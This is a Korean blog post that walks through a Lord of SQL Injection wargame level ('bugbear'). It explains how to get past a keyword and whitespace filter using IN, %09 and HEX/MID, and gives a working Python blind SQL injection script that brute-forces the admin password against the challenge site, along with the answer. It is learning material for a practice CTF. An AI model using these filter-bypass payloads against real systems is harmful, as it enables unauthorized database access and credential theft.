이 영역을 누르면 첫 페이지로 이동
DevDori 블로그의 첫 페이지로 이동

DevDori

페이지 맨 위로 올라가기

DevDori

[Lord of SQL Injection] bugbear 13번 풀이

  • 2021.10.17 18:01
  • WarGame/Lord of SQL Injection

13번 문제 ( bugbear )

[ 문제 접근 ]

1. if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 

1번에서 substr, ascii, or, and ,like,= 문자열 그리고 공백을 모두 필터링하고 있다

 

2. 2. if(($result['pw']) && ($result['pw'] == $_GET['pw']))

쿼리질의 결과 admin의 pw와 사용자가 입력한 pw가 같을 경우 solve시켜줌, 이쯤이면 다들 blindsqlinjection인거 유추하실 수 있을꺼라고 생각합니다.

=>방법 : 기존에 작성한 코드를 응용하고 기존에는 like를 사용했지만 like를 필터링 하고 있으므로 like를 대체할 또 다른 방법을 찾아서 적용하면 풀 수 있다!

 

*힌트 : IN, MID, HEX

 

https://devdori.tistory.com/20 : and, or 우회

 

[Lord of SQL Injection] cobolt 2번 풀이

[ 문제접근 ] 1. 쿼리 : id와 pw파라미터가 존재하고 pw를 md5 암호화, 이를 통해 DB를 조회한다 2. $_GET[id], md5('{$_GET[pw]}') : GET방식을 통해서 id와 pw를 입력받고 pw는 md5암호화 3. if($result['id']..

devdori.tistory.com

https://devdori.tistory.com/23 : white space 우회

 

[Lord of SQL Injection] wolfman 5번 풀이

[ 문제접근 ]   if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 1. 위에 적혀있는 조건문을 분석해보면 whitespace가 입력되면 No whitespace를 띄움 > 화이트스페이스(whitespace)란? ::..

devdori.tistory.com

https://devdori.tistory.com/35 : like를 제외한 다른 문자열 우회

 

[Lord of SQL Injection] golem 11번 풀이

[ 문제 접근 ] 1. if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); : or,and,substr,= 문자열을 필터링함 2. if($result['id']) echo " Hello {$result[id]} "; : id가 존재하면 Hello..

devdori.tistory.com

 

[ 문제풀이 ]

더보기

<정답> : ?pw=52dc3991

<풀이>

이전 12번 문제와 같은 방식인데, 지금 문제와 이전 문제의 차이점은 공백과 like가 필터링에 추가되어있고 or이 추가되었다. 

 

따라서 like는 IN으로, whitespace는 %09로 바꿔서 코드를 작성하면 될 것 같았다

그래서 기존코드를 위처럼 우회해서 작성하고 코드를 돌리면 hehe가 뜬다 ㅠㅠ;;

 

이유를 찾아보니 ORD가 문제였다 ㄷㄷ;; 

ORD에 OR이 들어가서 함께 필터링이 되는거였다!

 

그러면 ORD를 HEX로 바꿔서 비교하면 된다. 문자열을 HEX로 바꿔서 비교해도 대소를 포함해서

문자열을 비교할 수 있다!

 

위에 방법을 적용해서 공격코드를 작성하면 다음과 같다

import requests

url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
cookies = {'PHPSESSID':'uoaqqo49al5a3l6baodafl6edv'}
length=0
pw = ""

while True:
    length+=1
    req = f"{url}?no=1||length(pw)%09in({length})"
    res = requests.get(req,cookies=cookies)
    if res.text.find("<h2>Hello admin</h2><code>") != -1:
        print("pw 길이 :",length)
        break
    
for i in range(1,length+1):
    for j in range(48,123):
        req = f"{url}?no=1||id in (\"admin\") %26%26"
        req+= f"hex(MID(pw,{i},1)) in (hex({(j)}))"
        req = req.replace(" ","%09")
        res = requests.get(req,cookies=cookies)
        print(chr(j))
        if res.text.find("<h2>Hello admin</h2><code>") != -1:
            print(f"====={chr(j)}=====")
            pw+=chr(j)
            break
print(f"====(pw : {pw})====")

우선 pw의 길이를 알아야하나까 위에서 pw의 길이를 구하고 length만큼 반복문을 돌려서 password를 하나씩 가져온다

"BUGBEAR Clear!" 가 나타났다! 정답!

이제 다음 스테이지로 넘어가도록 하자

 

'WarGame > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] assassin 15번 풀이  (0) 2021.10.17
[Lord of SQL Injection] giant 14번 풀이  (0) 2021.10.17
[Lord of SQL Injection] darkknight 12번 풀이  (0) 2021.10.17
[Lord of SQL Injection] golem 11번 풀이  (0) 2021.10.17
[Lord of SQL Injection] skeleton 10번 풀이  (0) 2021.10.17

댓글

이 글 공유하기

  • 구독하기

    구독하기

  • 카카오톡

    카카오톡

  • 라인

    라인

  • 트위터

    트위터

  • Facebook

    Facebook

  • 카카오스토리

    카카오스토리

  • 밴드

    밴드

  • 네이버 블로그

    네이버 블로그

  • Pocket

    Pocket

  • Evernote

    Evernote

다른 글

  • [Lord of SQL Injection] assassin 15번 풀이

    [Lord of SQL Injection] assassin 15번 풀이

    2021.10.17
  • [Lord of SQL Injection] giant 14번 풀이

    [Lord of SQL Injection] giant 14번 풀이

    2021.10.17
  • [Lord of SQL Injection] darkknight 12번 풀이

    [Lord of SQL Injection] darkknight 12번 풀이

    2021.10.17
  • [Lord of SQL Injection] golem 11번 풀이

    [Lord of SQL Injection] golem 11번 풀이

    2021.10.17
다른 글 더 둘러보기

정보

DevDori 블로그의 첫 페이지로 이동

DevDori


ShinhanBank InfoSec Devision
Sunrin High School InfoSec 115th
TeamH4C members

  • DevDori의 첫 페이지로 이동

나의 외부 링크

  • GitHub
  • FB
  • Instagram

검색

카테고리

  • 분류 전체보기 (43)
    • Project (7)
      • 정보보안 프로젝트 (6)
      • 진로 IT 프로젝트 (1)
    • System (4)
    • Reversing (3)
    • Web (1)
    • WarGame (21)
      • Lord of SQL Injection (15)
      • BandIt (2)
      • Webhacking.kr (0)
      • pwnable.kr (0)
      • HackCTF (2)
      • FTZ (0)
      • Dreamhack (2)
    • Dev (5)
      • DataBase (5)
    • Etc. (2)
      • 알쓸컴잡 (0)
      • Linux (1)
      • GitHub (1)
      • 시놀로지 (0)
    • Algorithm (0)
      • programmers (0)

메뉴

  • 홈
  • 태그
  • 방명록

최근 글

인기 글

댓글

정보

DevDori의 DevDori

DevDori

DevDori

블로그 구독하기

  • 구독하기
  • RSS 피드

방문자

  • 전체 방문자
  • 오늘
  • 어제

티스토리

  • 티스토리 홈
  • 이 블로그 관리하기
  • 글쓰기
Powered by Tistory / Kakao. Copyright © DevDori.

티스토리툴바